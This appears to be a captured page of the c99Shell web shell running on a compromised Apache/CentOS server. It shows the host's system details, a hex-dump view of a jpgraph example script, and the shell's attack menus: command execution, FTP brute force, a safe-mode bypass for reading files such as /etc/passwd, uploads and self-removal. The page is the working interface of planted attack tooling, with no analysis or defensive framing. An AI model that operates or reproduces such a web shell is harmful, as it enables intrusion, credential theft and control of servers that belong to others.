!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/jpgraph/src/Examples/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     show-image.php (326 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/manage/jpgraph/src/Examples/show-image.php
Size 326 B
MD5 faa728ec726fcdb6047472bdd04f3b6d
Owner/Group apache/apache
Perms-rw-r--r--
Create time 03/07/2013 18:31:17
Access time 17/07/2024 14:48:23
MODIFY time 17/05/2005 04:51:18

HEXDUMP PREVIEW
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
3C 3F 70 68 70 20 24 74 61 72 67 65 74 20 3D 20 20 75 72 6C 64 65 63 6F
64 65 28 24 48 54 54 50 5F 47 45 54 5F 56 41 52 53 5B 27 74 61 72 67 65
74 27 5D 29 3B 20 3F 3E 0A 3C 21 64 6F 63 74 79 70 65 20 68 74 6D 6C 20
70 75 62 6C 69 63 20 22 2D 2F 2F 57 33 43 2F 2F 44 54 44 20 48 54 4D 4C
20 34 2E 30 20 54 72 61 6E 73 69 74 69 6F 6E 61 6C 2F 2F 45 4E 22 3E 0A
3C 68 74 6D 6C 3E 0A 3C 68 65 61 64 3E 0A 3C 74 69 74 6C 65 3E 20 49 6D
61 67 65 20 3C 3F 70 68 70 20 65 63 68 6F 20 62 61 73 65 6E 61 6D 65 28
24 74 61 72 67 65 74 29 3B 20 3F 3E 3C 2F 74 69 74 6C 65 3E 0A 3C 2F 68
<?php $target =  urldeco
de($HTTP_GET_VARS['targe
t']); ?> <!doctype html 
public "-//W3C//DTD HTML
 4.0 Transitional//EN"> 
<html> <head> <title> Im
age <?php echo basename(
$target); ?></title> </h

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0074 ]--